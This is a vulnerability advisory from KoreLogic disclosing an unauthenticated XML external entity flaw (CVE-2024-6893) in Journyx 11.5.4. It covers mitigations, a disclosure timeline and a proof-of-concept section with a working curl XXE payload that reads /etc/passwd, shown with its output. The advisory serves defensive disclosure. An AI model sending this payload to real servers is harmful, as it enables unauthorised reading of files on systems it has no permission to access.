KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection
Title: Journyx Unauthenticated XML External Entities Injection
Advisory ID: KL-001-2024-010
Publication Date: 2024.08.07
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt
1. Vulnerability Details
      Affected Vendor: Journyx
      Affected Product: Journyx (jtime)
      Affected Version: 11.5.4
      Platform: GNU/Linux
      CWE Classification: CWE-611: Improper Restriction of XML External Entity
                          Reference
      CVE ID: CVE-2024-6893
2. Vulnerability Description
      The "soap_cgi.pyc" API handler allows the XML body of
      SOAP requests to contain references to external entities.
      This allows an unauthenticated attacker to read local files,
      perform server-side request forgery, and overwhelm the web
      server resources.
3. Technical Description
     From an unauthenticated perspective, a user can send an HTTP
     request to the "/jtcgi/soap_cgi.pyc" endpoint.  The body of the
     HTTP request is read and processed by the Journyx web server
     as XML.
     To process these SOAP requests, the third-party component
     "SOAPpy" is used. The built-in XML parser for "SOAPpy"
     is "xml.sax". According to the "xml.sax" documentation
     (https://docs.python.org/3/library/xml.sax.html), versions
     before 3.7.1 enable XML external entities by default. Since
     Journyx version 11.5.4 ships with python 3.6, the SOAP API
     endpoint is vulnerable.
4. Mitigation and Remediation Recommendation
      The vendor reports that this issue was remediated in Journyx
      v13.0.0, which is the first wholly cloud-hosted version of
      this product.
      For self-hosted versions of Journyx, external entity processing
      can be disabled by editing the old bundled version of SOAPpy by
      modifying the "Parser.py" file:
        --- Parser.py.orig      2018-11-27 17:26:53.000000000 -0500
        +++ Parser.py   2024-06-18 10:56:01.993019226 -0400
        @@ -1036,6 +1036,10 @@
             # turn on namespace mangeling
             parser.setFeature(xml.sax.handler.feature_namespaces, 1)
        +    # Disallow external entities, prevent XXE
        + parser.setFeature(xml.sax.handler.feature_external_ges, 0)
        + parser.setFeature(xml.sax.handler.feature_external_pes, 0)
        +
             try:
                 parser.parse(inpsrc)
             except xml.sax.SAXParseException as e:
      Additionally, if API access is not required, requests to
      /jtcgi/soap_cgi.pyc could be dropped without forwarding to FastCGI
      via a ModSecurity rule like the one below:
        SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog"
5. Credit
      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.
6. Disclosure Timeline
      2024.01.31 - KoreLogic notifies Journyx support of the intention to
                   report vulnerabilities discovered in the licensed,
                   on-premises version of the product.
      2024.01.31 - Journyx acknowledges receipt.
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share
                   vulnerability details.
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.
      2024.02.09 - Journyx responds that this vulnerability has been remediated
                   in the cloud-hosted version of the product.
      2024.02.21 - KoreLogic offers to test the cloud version to confirm
                   the fix; no response.
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.
      2024.07.09 - Journyx confirms version number of the remediation.
      2024.08.07 - KoreLogic public disclosure.
7. Proof of Concept
     The "changeUserPassword" SOAP method will reflect the
     "username" parameter in the HTTP response if the given
     username does not exist in the Journyx database. This
     makes exploitation straight forward, as an external
     entity can be used as the value of "username" and the
     dynamic value of the entity is reflected in the page
     response.
     [attacker@box]$ python xxe.py --host redacted.com --port 8080
     root:x:0:0:root:/root:/bin/bash
     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
     bin:x:2:2:bin:/bin:/usr/sbin/nologin
     sys:x:3:3:sys:/dev:/usr/sbin/nologin
     sync:x:4:65534:sync:/bin:/bin/sync
     games:x:5:60:games:/usr/games:/usr/sbin/nologin
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
     ...
     [attacker@box]$
     [attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \
     curl -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 
"'$PAYLOAD_TARGET'">]><soapenv:Envelope 
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>' 
\
     -s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user 
/{flag=1;next}/<\/faultstring>/{flag=0}flag'
     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
     bin:x:2:2:bin:/bin:/usr/sbin/nologin
     sys:x:3:3:sys:/dev:/usr/sbin/nologin
     sync:x:4:65534:sync:/bin:/bin/sync
     games:x:5:60:games:/usr/games:/usr/sbin/nologin
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
     ...
     [attacker@box]$
The contents of this advisory are copyright(c) 2024
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy